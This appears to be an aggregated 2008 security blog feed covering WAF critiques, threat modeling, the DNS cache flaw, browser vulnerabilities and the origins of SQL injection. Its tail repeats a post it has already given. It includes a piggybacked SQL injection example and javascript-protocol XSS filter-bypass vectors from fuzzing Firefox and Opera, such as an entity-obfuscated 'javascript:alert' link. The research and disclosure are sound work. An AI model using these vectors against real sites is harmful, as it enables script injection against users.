It’s a crazy coincidence that the FireFox and Opera vulnerabilities come almost one year to the date after Nate McFeters and I reported the original firefoxurl and mailto protocol handling vulnerabilities… and I use the term “reported” loosely :). Nate and I have changed over the past year… we’re both older and fatter, but it seems that protocol handlers continue to be as vulnerable as ever.

In closing, I want to thank the Mozilla Security Team (Dan Veditz in particular) and the Apple Security Team for working with me on this issue. It would have been easy for them to point fingers at the other organization, but both teams took responsibility for their portion and comitted to changes. Thanks guys! I’ll buy the beers in Vegas!

The Spanner

Hackvertor discussion

Posted: July 15th, 2008, 3:42pm CDT by Gareth Heyes

Tags: Security [edit]

A user of Hackvertor contacted me and suggested a mailing list to collect ideas and feature requests. I must admit that because of time I haven’t had the opportunity to ask users they thought. I guess I also assumed that there wouldn’t be many people using the tool but it turns out there are one or two

In my spare time I plan to release a new version so get your ideas in fast and I’ll try to implement all of them and add a few of my own. The group is available here:-

Hackvertor group

Justice League

More on comics and security

Posted: July 15th, 2008, 10:48am CDT by gem

Tags: Software Security [edit]

I’ve written before about how useful comics can be in security training. See a previous blog entry here.

In that brief article, I called out some of Markus Schumacher’s training animations. I’m pleased to report that Markus has asked Cigital to host some of his material. Here are some links:

Example 1: Car Auction

Example 2: Online Application

Cross Site Request Forgery

Forceful Browsing

You can also find these links together in one place on our resources page.

Dominic White's .tHE pRODUCT

Which Vulnerability Researcher Discovered SQL injection?

Posted: July 15th, 2008, 1:56am CDT

Tags: Security [edit]

Rain Forest Puppy (rfp) in a merry Christmas of an article entitled "NT Web Technology Vulnerabilities", published in Phrack Magazine, Volume 8, Issue 54 on December 25th, 1998. He didn't actually call it SQL injection yet, that honour either goes to SANS or Chip Andrews in 2001. Source, Litchfield.

Here's the beginning of his summary, from the section entitled "ODBC and MS SQL server 6.5":

- WHAT'S THE PROBLEM? MS SQL server allows batch commands.

- WHAT'S THAT MEAN? I can do something like:
    SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5
Exactly like that, and it'll work. It will return two record sets, with each set containing the results of the individual SELECT.

- WHAT'S THAT REALLY MEAN? People can possibly piggyback SQL commands into your statements. Let's say you have:
    SELECT * FROM table WHERE x=%%criteria from webpage user%%
Now, what if %%criteria from webpage user%% was equal to:
    SELECT * FROM sysobjects
It would translate to:
    SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects
Viva Las Vegas, BlackHat & Defcon USA 2008

Posted: July 14th, 2008, 1:26pm CDT

Tags: Security [edit]

It's official, I'm going to Black Hat and Defcon this year. I'm very excited. A *huge* thank you to the SensePost guys who are sorting me out only proper. Make sure you go, to, their, training. We've also pulled together a fairly decent Deloitte contingent.

I'll be there from the 29th of July to the 11th of August if all goes off according to plan. Give me a shout if you want to meet up, or if you have invitations to sexy parties.

Billy (BK) Rios

Opera Stuff

Posted: July 11th, 2008, 7:42pm CDT by xssniper

Tags: Security [edit]

I recently came across an issue in Opera that could allow for some bad stuff. Although the issue has been addressed, I’ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues. I’ll respect that request. I do however, want to take a moment to thank the Opera team for their timely response! Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business. The Opera team responded quickly with a patch and kept in great contact with me throughout the process.

It’s a crazy world out there and the web browser is the window to the wild wild west. I wish Opera security team the best of luck!

Dominic White's .tHE pRODUCT

Dan broke the internet again!

Posted: July 8th, 2008, 2:34pm CDT

Tags: Security [edit]
This will be fun to watch. Dan Kaminsky has sort-of published not-so-sekret ways to break DNS. Patches have been released to make things more random. "Full" disclosure at BlackHat.

From ISC:

"The method used makes it harder to spoof answers to a resolver by expanding the range of UDP ports from which queries are sent, thereby increasing the variability of parameters in outgoing queries."

I laughed with mirth and glee at the Emergent Chaos comment:

"DJBdns is in fact not affected as DJB had already implemented port randomness even though he didn't know it was an issue."

This means *all* DNS (except DJBdns) is vulnerable, many vendor patches to follow. Although, DNSSEC is the *right* answer.
- CVE
- CERT VU
- Microsoft

Michael Howard's Web Log

SQL Server and the Windows Server 2008 Firewall

Posted: July 2nd, 2008, 5:35pm CDT by michael_HOWARD

Tags: Security [edit]

SDL alum, Shawn Hernan (now in the SQL Server team), has written an excellent post about SQL Server 2008, Windows Server 2008 and the impact of the firewall being enabled by default in Windows Server 2008, the first time we have enabled a firewall by default in our server operating system. If you're a SQL Server admin, you really should read his post.

Justice League

Answering Security Questions in Context

Posted: July 2nd, 2008, 1:38pm CDT by jOHN

Tags: Software Security [edit]
Developers often ask security folk, “Hey, how do I protect credentials in config/property files?” or “Do I need to encrypt my production binaries?” I admire their asking security for help, but often times 1) they’ve not asked the question well enough to get a good answer and 2) security folk have a hard time getting to the root of the problem to provide decent guidance.

After teaching a threat modeling course recently I thought I’d demonstrate how considering an application’s architecture, who might attack it, and what impacts a business might face as a result of attacks interrupting or subverting the system’s ability to accomplish its business objective can be very helpful in framing context-free questions like I’ve posed above. I’m of course, talking about why threat modeling, even informally, is useful.

Let’s consider the above questions in a few contexts. I’ll ‘invent’ contexts for the purpose of this conversation, but you can likely see overlap in what you do with one or two, and incredible differences in the others.

Some circumstances will warrant protecting against threat actors making changes to configuration or the code loaded into the production environment in which extensibility of that environment’s code base and flexibility of its configuration are a reality. Examples of such environments might be:
- A mobile device or one distributed to consumers (such as phone, embedded device (TiVO, AppleTV, etc.) or similar)
- A outsourced hosting environment (Savvis, Google Cloud, etc.)
In both cases, you want to push updates or new applications/configuration in the production environment. Really, any organization that separates development from operations/deployment will have to ponder trust of its operators. Outsourcing is not a necessary condition.

“Insider” and “Administrator” threats apply in the second case, whereas a “Malicious User/operator” applies in the former. In all these circumstances, we need to rely on the actor to operate and in some cases maintain the system, but we don’t trust the threat actor with code and certain sensitive configuration elements. That’s a pickle.

In terms of the threats’ capabilities, we expect an Administrator to have intimate knowledge of (and ostensibly administrative control over) the host on which our application is deployed. They do not, probably, have reverse-engineering capabilities, or deft programming skill in non-script languages except in rare cases. Insiders may simply have access to the host (physically or through remote login), may possess the same role as the running application, but probably do not possess root privileges on our underlying host without successfully exploiting it. Their skill level will probably be less than that of an Administrator in most cases.

A malicious operator will run the complete gamut of skills as a matter of fact: there are plenty of deep technologists and tinkerers you want to sell TiVOs and cell phones to. Depending on the size of the market, the data or functionality to be protected, and the possibilities through which a “hack??? could be replicated and executed by non-skilled users (my mom will not not log into her TiVO but will definitely send her cell phone away to be “unlocked???), protective schemes may or may not be of much use.

It is because these threats’ vary widely in their skill set and their understanding of the construction of the application that I’ve combined consumer devices with hosting—seemingly unrelated architectures. Opaqueness and user/operator knowledge are slippery slopes. Some people hack their TiVO and some admins haven’t the foggiest of how to tickle an app

We’re drawn to potential impacts to make sense of the capabilities we discussed above and what they might be used for. I’ll treat each system architecture in term, giving a single attack scenario for each threat.
Hosting
The administrator lifts plain-text credentials out of a config file (u: oracle, pw: oracle) and conducts his/her own SQL-injection on the database, pulling tables and tables of user records, sells ‘em to organized crime: motivation, payoff, and impact. Let’s consider a code-replacement problem too, this time from the perspective of insider. An insider watches bug reports for a particular dev. team and after seeing a particularly insidious one, rolls back the version of production software to a vulnerable release, and follows the ‘script’ laid down by the bug report. He makes decent use of some coupon-codes, gets about 3-62??? flat-panels shipped to his house for $3, and runs.
Consumer Devices
Here, let’s consider two scenarios as well. First, the malicious operator—a consumer—twiddles with his/her DirectTV until I figure out how it stores/sends its username/password up-stream. Discerning a weak password scheme (computable from a username) and having heard a neighbor brag about his “NFL Sunday Ticket??? purchase, he/she downgrades service to the cheapest, then updates his/her DirectTV to send the neighbor’s username/password instead of their own. Beaucoup sports at petite pricing. In another scenario, imagine the malicious operator adding their own naughty code to the device to collect streams of content and drop ‘em to disk DRM-free.

One could imagine other goals, attack paths, and impacts easily. I’ve chosen these off the top of my head because they’ll demonstrate dramatically different protective schemes. I don’t know that they’re the most interest, common, or valuable scenarios to consider. I know-in some cases-that the scenarios I’ve listed are contrived.

Now, onto attacks and protective schemes:
Hosting: Code Update
Preventing insider (or even a malicious system administrator) from loading code can be accomplished by combining an organizational tweak with a platform feature (At least where Java and .NET are concerned). By demanding code and configuration (even code security policy) be signed before promotion into a production environment, and configuring the application container to check for these signatures, one can control what code executes in a particular container. Separating the “Application Deployer??? role (the one who signs and delivers code) from “Application Developer??? and “System Administrator??? prevents either from placing a rogue binary in place of the expected (signed) one.

Outstanding issues with this scheme include how to validate code to be signed. Did the developer inject back-door functionality that remains undetected? And, of course, how do you prevent an administrator from loading malware outside the application container (either side-by-side on the host or as a proxy between the application and a connecting system)?
Consumer Device: Code Update
Code signing has worked for consumer devices as well. Other encrypted binary format schemes have been employed to not only disallow unauthorized parties from loading code, but also for protecting the IP contained within code updates while in transport over Teh Intarweb.

An aside: I’ve seen a code signing scheme “to prevent malware from being placed on victims’ devices.??? However, they granted code signing certificates to anyone willing to register (with their address and some other information). Because they’d give signing ability to (basically) anyone who asked, their scheme did NOT prevent malware from getting onto the device. Instead, it only allowed for tracking of who was responsible for signing that malware ;-) Likewise, a system whose dynamic update function was protected by “proprietary encryption???, thus disallowing anyone from seeing patches or deploying malware in their stead. Because this “proprietary scheme??? was basically just LZW, it was trivially broken.
Consumer Device: Storing Credentials
Preventing a malicious operator from observing and gaming credentials will take an entirely different tack. Think about how smart cards or GSM cell phones work. In these cases (both potentially operated by unsavory folk), a card contains both logic and a secret, known to a central authority. When the central authority (a web site, something the smart card is docking with, or inserted in to) needs to authenticate the user device, it issues a challenge to the card. Logic on the card then computes a response to this challenge based on the secret it holds and issues a response. Even if the device’s user is able to intercept both challenge and response, it should remain opaque (and therefore not suffer replay).

Advanced techniques, such as Differential Power Analysis, may be able to extract key information from such schemes even when implemented correctly. A more interesting limitation of this scheme is plausibility of its deployment. Fobs are expensive to deploy and may not even fit within the architecture being analyzed.
Hosting: Storing Credentials
‘The trickiest of problems of the bunch to solve. I’ve seen a lot of different schemes discussed, some commercial, some home-rolled. One can thwart an administrator not skilled in reverse engineering and slow down a well-trained one by encrypting configuration, true. However, schemes that involve placing encryption secrets in the code that protect those config files can ultimately be reversed by a skilled administrator. Situations in which said secret was stored elsewhere and passed to the application to be used during start-up raise complexity a fair amount and can also be reversed if the administrator can debug or attach to the application’s process. And, to finish the summary, the credentials must ultimately be used somewhere. Often, it’s easier for administrators to MitM the application and that somewhere rather than do all this reversing we all find fun.

Once some kind of reasonable encryption scheme is employed (to prevent trivial attack), protective scheming should focus on detection of access to down-stream resources using lifted credentials, rather than making the problem THAT much more difficult to reverse. Think about it this way, the way I wrote up this threat, its attack scenario, and impact, it seems to me these efforts would be sufficient to exonerate the company from negligence in the case of actual attack. This may in fact be their goal, rather than preventing attack, as always depending on the impact of successful attack.

In turn, you can see that the way each problem was presented, its potential solutions vetted, and next steps were discussed depended on the threat and the architecture under consideration. I hope these few examples help frame and answer (or ask) your next “how do I secure” question.

The Spanner

Javascript protocol fuzz results

Posted: June 30th, 2008, 7:32am CDT by Gareth Heyes

Tags: Security [edit]

Well it seems that Firefox 2.0.0.14 has provided the most interesting results with my protocol fuzzer.

Char: 56320, link: jav&#56320ascript:
Char: 56321, link: jav&#56321ascript:
Char: 56322, link: jav&#56322ascript:
Char: 56323, link: jav&#56323ascript:
Char: 56324, link: jav&#56324ascript:
Char: 56325, link: jav&#56325ascript:
,, ,, ,, ,,

All the way to:-

char: 57343, link: jav&#57343ascript:

and hex entities but with a semi-colon:-

From:
Char: 56320, link: jav���ascript:
 
To:
Char: 57343, link: jav���ascript:

It means code like this works in Firefox 2.0.0.14:-

<a href="jav&#56325ascript:al&#56325ert(1)">test</a>

More oddities were found but nothing as interesting as the above.

The ever changing XML file can be found here which stores the vectors by platform and browser versions:-

Vectors XML

Update…

Opera strangeness too…

Char:2048,Link:javascript&#2048:
Char:2304,Link:javascript&#2304:
Char:3328,Link:javascript&#3328:
Char:3840,Link:javascript&#3840:
Char:4096,Link:javascript&#4096:
Char:4256,Link:javascript&#4256:
Char:4352,Link:javascript&#4352:
Char:4608,Link:javascript&#4608:
Char:4864,Link:javascript&#4864:
 
Plus nbsp is allowed here:-
Char:160,Link:&#160javascript:

There are more, higher ones too

Dominic White's .tHE pRODUCT

SA Crime Stats 2008

Posted: June 30th, 2008, 6:57am CDT

Tags: Security [edit]
The South African Police Services have released the crime stats for the last financial year. I still need to wrap my head around the numbers, as many of the categories don't seem discreet, or intuitive. However, I think the executive summary contains some good insight into the 'threat landscape'. It also backs up several of my 'gut feel' assertions about crime in SA. However, as Russell points, there may be an independence issue, as the report is "written by the guys whose job is on the line", and I haven't found any information on how the stats were independently verified. I've culled some sections from the executive summary and given them my own headings, formatting and order. Whatever your take on crime in SA, these stats are a good read, and certainly more likely to be accurate, even with bias, than the eight year old drivel on Wikipedia.
Most crime in 'Megatownships' by drunks
Detailed docket, geographical and timeline analyses of the contact crimes confirm that at least two thirds of all contact crime [e.g. mugging, rape, murder] cases are strongly linked to specific social behaviour patterns which inter alia involve alcohol and other substance abuse and are mainly associated with informal settlements in megatownships.

Almost two thirds (66,0%) of all aggravated robberies are street/public robberies. These occur mainly in CBD areas and the black megatownships (e.g. Khayelitsha, KwaMashu, Umlazi and Nyanga) where ordinary people are robbed of their money, cellular telephones or other valuables at gun or knifepoint. The large majority of these incidents are therefore not high profile cases involving well-known people and are rarely reported in the media.

[I emigrated because all the poor people were getting mugged sounds less justified.]
If you're rich, don't live here
The carjackings and house robberies most frequently occur in the more affluent suburbs of Gauteng such as:
- Sandton
- Honeydew
- Douglasdale
- Brooklyn
- Garsfontein
Anatomy of affluent crime
Extreme violence resulting in severe injuries or fatalities is only employed in a very small proportion of these carjacking and house robbery cases. However, extreme violence does occasionally occur because the crimes are usually committed at places where it is less likely for bystanders or eyewitnesses to intervene; firearms are more likely to be involved; the robbers want specific items (frequently the key to a safe or a car); and the perpetrators may be disposed to use threats or violence to obtain their aim. The victims may also react in ways that could trigger violence.
The rest of the world
South Africa compares quite favourably with the rest of the INTERPOL member countries with regard to the incidence of property-related and all the other remaining categories of serious crime. Most of the contact-related, property-related and other serious crimes indeed experienced decreases.

[It would be nice to know how we compare against INTERPOL member countries for non-property related and other serious crime.]
Stats are better than “the media”
Because the crimes frequently occur in more well-to-do areas, the chances of somebody well-known being targeted and even killed are much higher. Such incidents feature on the front pages and in the headlines of the media and reverberate around the world. Such focused and selective reporting on less than 5,0% of South Africa's contact crime, read together with the contact crime statistics, consequently creates an international image of South Africa as an extremely violent society.
Remember, correlation does not equate cause
Increases in the number of crimes heavily dependent on police action for detection are actually considered desirable. The 25,4% increase in the ratio of driving under the influence of alcohol or drugs is probably a result of much more stringent law enforcement by both Metro Police services and the SAPS during 2007/2008.

tssci security

Week of War on WAF’s: Day 5 — Final thoughts

Posted: June 27th, 2008, 4:17pm CDT by dre

Tags: Security [edit]
Did we learn anything about web application firewall technology this week?

I hope so. However, my gut tells me there is an overriding feeling of ambiguity around this technology. People want WAFs, but they don’t know why. Organizations everywhere think this is the best or only short-term answer to the web application security problem.

The PCI SSC, who has set June 30th, 2008 as the deadline for compliance with Requirement 6.6, also appears to be wishy-washy on the whole deal. I read the following two articles this morning about PCI-DSS Requirement 6.6 and the use of web application firewalls. While the titles of the articles may appear many are still leaning on or towards WAFs — after reading the information and quotes, I think the titles might be misleading.
- Computerworld, Web firewalls trumping other options as PCI deadline nears — Advantage over appsec approach mainly one of convenience
- CSO Online, FUD Watch: Vendor Hype Escalates Over PCI Deadline
Web application security experts Mike Andrews and Robert Auger also have some interesting things to say. They seem to be very set on the idea that WAF (with proper blacklists) or VA+WAF (to manage the blacklists) are fair enough temporary solutions until organizations can implement secure coding.
- Mike Andrews, VA+WAF: that’s hot!
- cgisecurity.net, My current stance on Web Application Firewalls
Some interesting things can go wrong during the WAF implementation phase. I can identify the following problem areas that may have many organizations wondering why they went the WAF route:
1. You think that a network engineer or network security expert could get up to speed quickly through training or lab-time. However, I think the average time to become a web application security expert is 3-4 years of specialization. Imagine how many developers could have been trained or worked on collaborative processes with IT security in that time period.
2. Blacklist technology (especially VA+WAF) is going to help with false positives. However, what about general performance problems? If performance or availability issues occur, the first thing thrown out will be the WAF. What good is a device that is constantly removed from the architecture and then only put back in to meet compliance issues?
3. There is a lot of technology out there to detect specific WAF products. It’s been written about in books. Attack tools such as w3af utilize plugins such as detectWAF. Vulnerabilities exist in WAF products in the same way that they exist in all software. Adversaries are already using this information to their advantage. Using a WAF can indeed make you less secure. In order to provide a product that will protect modern web applications, we must first test the products ourselves. There is more complexity in the average WAF than in the average Intranet web application — who is going to provide the countless hours of secure code review and manual pen-testing needed for these WAF products? Or are we going to use them blindly without considering the consequences?
What are some short-term alternatives?
1. Multiple WAF solutions — one solution that focuses on “outbound” web traffic, and another that is tuned to your specific application (e.g. language, framework, components in use, et al). If your web application uses well-formed, valid XHTML — the outbound filtering requirement is already fulfilled. Refactoring your content to XHTML is a snap. Many books and tools exist to help in this process (Dreamweaver, xmllint, TagSoup, NekoHTML, and HTML Tidy just to name a few).
2. A softer, lighter version of Agile/Test-first development practices with basic unit tests that correct input validation issues. This would be equivalent or better than WAF in practice. James Shore discusses how to implement this sort of idea in an article, Continuous Integration on a Dollar a Day.
3. Even Aspect-oriented programming will show immediate value, as the cost proposition lowers when you already have the existing talent to implement AOP. If you have developers that know AspectJ — input validation routines can be added with point-cuts almost overnight.
The problem with these three short-term solutions is that they involve talking to your development teams. Do they have a reason to avoid using valid XHTML? Maybe their waterfall mindset precludes them from being able to move to a situation where “building code” is more important than “programming” (although I would argue that it’s a developer’s job to write buildable code).

What I think is most sad about the state of WAF technology is that a single, cheap developer could easily replace all of the normal WAF functionality in the code using basic unit testing. A talented developer who knew AOP could do much more than a WAF, and still at a much lower overall cost. Some organizations that are implementing WAF are having the developers manage the solutions instead of network engineers or IT security. We’re hoping that this situation will allow the developers to think up better ideas as well as learn where their applications are failing.

In fact, a non-developer: such as someone in marketing who uses Dreamweaver, could also do almost as much as a normal WAF by saving their content as valid XHTML. This would buy the organization basic application security functionality, which is what WAF also attempts to do.

Summary

We know that WAF’s appear to be the easiest answer to the PCI-DSS Requirement 6.6. But what if there was an even more simple answer? Talk with your QSAC, QSA auditor, and an external third-party such as a web application vulnerability assessor, software risk expert, or strategy consultant about possible compensating controls, such as:
- Unit testing and integration unit testing for security properties as part of a daily, standard build
- Aspects for security, written by a internal developer who can front the web application in a similar way, but that is closer to the code
- Transformation of non-standard HTML to valid XHTML by a web designer or content manager
If you are going to choose a web application firewall, we suggest:
- WAF solutions that have been security tested and risk assessed by third parties that specialize in security appliance/product assessments
- A product that doesn’t affect performance because it only works on outbound traffic (not inbound), or only turns itself on when an attack is in-progress
- Instructional capability and training for the solution is cheap/free, easy to find, and well-documented everywhere
Rich Mogull also has some very new suggestions that he would like to see as a future for WAF in his blog post, The Future of Application and Database Security: Part 2, Browser to WAF/Gateway. It’s also worth a read!
Week of War on WAF’s: Day 3 — Language specific

Posted: June 26th, 2008, 2:15am CDT by dre

Tags: Security [edit]

This post comes via WAF thoughts from Christian Matthies’s blog circa one year ago. Christian starts out with a bang:

[…] it seemed to me that quite a lot of people aren’t aware of how effective such solutions in fact are. Basically I agree that different layers of protection [are] always a good idea to get at least close to a status that can considered to be secure.

In christ1an’s post, The real effectiveness of current WAF, he speaks rather positively about WAF technology, but ends on a rather sour note:

[…] these solutions are actually doomed to fail by design […] unless a Web application firewall is implemented exclusively for a specific language, it is very likely to be insecure and therefore using them should be well considered.

He makes some interesting points that you should certainly check out. Best — this jives with what Fortify research on dynamic taint propagation discussed in their recent OWASP AppSec EU 2008 presentation, Dynamic Taint Propagation: Finding Vulnerabilities Without Attacking [PPT] – and paper, Watch What You Write: Preventing Cross-Site Scripting by Observing Program Output [PDF].

christ1an seems positive about Mario Heiderich’s PHPIDS Monitoring attack surface activity [PPT] web application attack `detection’ work (also presented at OWASP AppSec EU 2008). Fortify, on the other hand, seemed bullish on the CORE GRASP attack `prevention’ project (also for PHP).

With regards to XSS and SQL injection attacks, this work is nice because as some of us know — neither attack is primarily about input validation. SQL injection is a software weakness that can be prevented through parameterized queries with binding of all variables (thanks, Jim Manico, for this verbiage). Cross-site scripting (and particular variations such as HTML/CSS/JS injection) is a software weakness that can be prevented by output encoding (although for exhaustive methods, check out the work by Arshan Dabirsiaghi in the OWASP AntiSamy Project).

Now if we could only start to talk about the other 600+ software weaknesses and their root-causes and strongest defense strategies.

The Spanner

Javascript protocol fuzzer

Posted: June 25th, 2008, 2:25pm CDT by Gareth Heyes

Tags: Security [edit]

Continuing the theme of fuzzers, I’ve wrote a Javascript protocol fuzzer. The goal was to try and produce every variation of javascript execution from links. It uses PHP and Javascript in order to maximize the speed of scanning, this means it can scan around 5000 links at a time.

Any ideas on improving the options or other variations would be really helpful. It’s found some good stuff so far but I’m sure it can do more, rather than show you the results I’ll let you experiment for yourself.

Fuzzer demo
How it works
It creates invisible normal HTML links based on “javascript:” it then inserts/replaces characters with the options chosen. Javascript then examines the link to see if the protocol is javascript and not http.
Options
Number of characters - This inserts between 1 and 10 characters in the chosen position

Character position - The string position of the characters chosen. E.g. if you choose “0″ then the “j” will be replaced or appended.

Replace character - Simply replaces the character rather than add characters to the position.

Url encode - Urlencodes the vector before outputting the link.

HTML hex entity encode - Instead of output the character, it uses the HTML hex entity instead.

HTML dec entity encode - Instead of output the character, it uses the HTML decimal entity instead.

Semi-colons - Adds a semi-colon if HTML entities are used.

Random zero fill - Adds a bunch of random zeros if entities are used.

Start from - Is the starting character to begin the fuzz. E.g “0″ is null

tssci security

Week of War on WAF’s: Day 2 — A look at the past

Posted: June 25th, 2008, 2:07am CDT by dre

Tags: Security [edit]

Web application experts have been asking WAF vendors the same questions for years with no resolution. It’s not about religion for many security professionals — it’s about having a product that works as advertised.

My frustration is not unique. I am not the first person to clamor on about web application firewalls. Jeff Williams pointed me to a post that Mark Curphey made in 2004. Today, Curphey appears to have a change of heart — his latest blog post provides a link to URLScan, which some claim is like mod-security for Microsoft’s Internet Information Server (IIS). Microsoft released URLScan Beta 3.0 in order to curtail the massive problem of over two million Classic ASP web applications that have become infected due to the SQL injection attacks.

Here is the post where the frustration of WAF and their vendors first began:

—–Original Message—–
From: The OWASP Project [mailto:[EMAIL PROTECTED]
Sent: Tuesday, 16 November 2004 2:34 PM
To: [EMAIL PROTECTED]
Subject: An Open Letter (and Challenge) to the Application Security
Consortium

An Open Letter (and Challenge) to the Application Security Consortium

Since its inception in late 2000 the Open Web Application Security Project (OWASP) has provided free and open tools and documentation to educate people about the increasing threat of insecure web applications and web services. As a not-for-profit charitable foundation, one of our community responsibilities is to ensure that fair and balanced information is available to companies and consumers.

Our work has become recommended reading by the Federal Trade Commission, VISA, the Defense Information Systems Agency and many other commercial and government entities.

The newly unveiled Application Security Consortium recently announced a “Web Application Security Challenge” to other vendors at the Computer Security Institute (CSI) show in Washington, D.C. This group of security product vendors proposes to create a new minimum criteria and then rate their own products against it.

The OWASP community is deeply concerned that this criteria will mislead consumers and result in a false sense of security. In the interest of fairness, we believe the Application Security Consortium should disclose what security issues their products do not address.

As a group with a wide range of international members from leading financial services organizations, pharmaceutical companies, manufacturing companies, services providers, and technology vendors, we are constantly reminded about the diverse range of vulnerabilities that are present in web applications and web services. The very small selection of vulnerabilities you are proposing to become a testing criteria are far from representative of what our members see in the real world and therefore do not represent a fair or suitable test criteria.

In fact, it seems quite a coincidence that the issues you have chosen seem to closely mirror the issues that your technology category is typically able to detect, while ignoring very common vulnerabilities that cause serious problems for companies.

Robert Graham, Chief Scientist at Internet Security Systems, recently commented on application firewalls in an interview for CNET news. When asked the question “How important do you think application firewalls will become in the future?” his answer was “Not very.”

“Let me give you an example of something that happened with me. Not long ago, I ordered a plasma screen online, which was to be shipped by a local company in Atlanta. And the company gave me a six-digit shipping number. Accidentally, I typed in an incremental of my shipping number (on the online tracking Web site). Now, a six-digit number is a small number, so of course I got someone else’s user account information. And the reason that happened was due to the way they’ve set up their user IDs, by incrementing from a six-digit number. So here’s the irony: Their system may be so cryptographically secure that (the) chances of an encrypted shipping number being cracked is lower than a meteor hitting the earth and wiping out civilization. Still, I could get at the next ID easily. There is no application firewall that can solve this problem.

With applications that people are running on the Web, no amount of additive things can cure fundamental problems that are already there in the first place.”

This story echoes some of the fundamental beliefs and wisdom shared by the collective members of OWASP. Our experience shows that the problems we face with insecure software cannot be fixed with technology alone. Building secure software requires deep changes in our development culture, including people, processes, and technology.

We challenge the members of the Application Security Consortium to accept a fair evaluation of their products. WASP will work with its members (your customers) to create an open set of criteria that is representative of the web application and web services issues found in the real world. OWASP will then build a web application that contains each of these issues. The criteria and web application will be submitted to an independent testing company to evaluate your products.

You can submit your products to be tested against the criteria (without having prior access to the code) on the basis that the results are able to be published freely and will unabridged.

We believe that this kind of marketing stunt is irresponsible and severely distracts awareness from the real issues surrounding web application and web services security. Corporations need to understand that they must build better software and not seek an elusive silver bullet.

We urge the Consortium not to go forward with their criteria, but to take OWASP up on our offer to produce a meaningful standard and test environment that are open and free for all.

Contact: [EMAIL PROTECTED]
Website: www.owasp.org

Dominic White's .tHE pRODUCT

Microsoft (and HP)++ for SQL Injection Response

Posted: June 24th, 2008, 11:28pm CDT

Tags: Security [edit]
Microsoft has released a security advisory detailing three ways to respond to the SQL injection attacks. This advisory doesn't covery a patch, just three tools:
1. HP Scrawlr is a light weight version of HP's WebInspect that will look for SQL injection flaws. I love that they used the Bobby Tables XKCD comic.
2. A new version of UrlScan (3.0 beta) the IIS version of mod_security.
3. A source code analyser which will identify SQL injection vulns, although it currently only works for ASP and not ASP.NET.
That's pretty awesome, although, as always, these should be used to aid clue, not replace it.

tssci security

Week of War on WAF’s: Day 1 — Top ten reasons to wait on WAF’s

Posted: June 23rd, 2008, 9:13pm CDT by dre

Tags: Security [edit]
Hello, and welcome to the Week of War on WAF’s, the same week that ends whereby PCI-DSS Requirement 6.6 goes into effect as a deadline for many merchants. Today is the first day. So far, Marcin has identified some of the problems with web application firewalls. We were able to identify what we would like to see in WAF’s, both commercial and open-source in the future (since they do not work properly today). In this post, I want to start off the week by listing the Top ten reasons to wait on WAF’s.

Top tens reasons to wait on WAF’s
1. WAF vendors won’t tell us what they don’t block
2. Requires a web application security expert with code knowledge, HTTP knowledge, and a lot of time / careful planning to configure
3. Gartner leaves WAF’s off their Magic Quadrant for web application security on purpose
4. No truth in advertising leads to a false sense of security
5. Vendors show signs of desparation, claiming imperatives and illegality in addition to just the standard FUD
6. Attacks that are claimed to be blocked are coincidentally also found in WAF solutions themselves (e.g. XSS in the security reports or web configuration panels)
7. Every organization that has installed a blocking WAF has also been in the media for known, active XSS and/or SQL injection
8. Second-order (i.e. non-HTTP or unprotected path) injections cannot be blocked or even detected
9. Real-world web application attacks are more often strings of attacks, or at the business logic layer — WAF’s cannot detect or prevent these kinds of attacks
10. PCI-DSS Requirement 6.6 can be met with compensating controls, web application security scanners, automated security review tools, and/or manual review of the pen-test or code varieties
We understand and realize that the ideas of a blocking WAF are very popular right now. There are many supporters behind the WAF and VA+WAF movements. While we’d also like to support what the rest of the community sees as the future — we also want to make sure that it is the right thing to do.

One of the best ways to move forward with any given technology is to look at its faults. We learn best in IT when things fall apart — when they break. TS/SCI Security has put a lot of thought, practice, and research into WAF technology. Marcin’s most recent post demonstrates our list of requirements (e.g. block outbound) and nice-to-have’s (e.g. good documentation). Some vendors might already have this sort of outbound blocking functionality, and we’re not even aware of it! Other vendors could have clearly defined “VA+WAF blocking” documentation, which could even be internal engineering or strategy documents that should be out in the open (or at least available to paying customers).

Also — if we do end up demonstrating that WAF, VA+WAF, APIDS, ADMP, or other solution is less viable than a new, better idea — let’s move this research into the forefront.

Billy (BK) Rios

BK on Safari, hunting Firefox…

Posted: June 20th, 2008, 2:39am CDT by xssniper

Tags: Security [edit]
Apple released a patch for their “Carpet Bomb” issue today. I’m glad to see that Apple took steps to protect their users. Kudos to the Apple Security team!

There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system. Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK). I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon.
- UNREALTED NOTE TO MOZILLA: Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)
Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem. Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other. When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole. A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this). As the ecosystem grows via plugins, functionality, and new software, so does the attack surface. Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue. If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior. Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well? Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem?

This brings us to a pressing question. In the “real world”, users install products from multiple vendors. Whose responsibility is it to examine the interaction between all these products?
BK on Safari, hunting Firefox…

Posted: June 20th, 2008, 2:39am CDT by xssniper

Tags: Security [edit]
Apple released a patch for their “Carpet Bomb” issue today. I’m glad to see that Apple took steps to protect their users. Kudos to the Apple Security team!

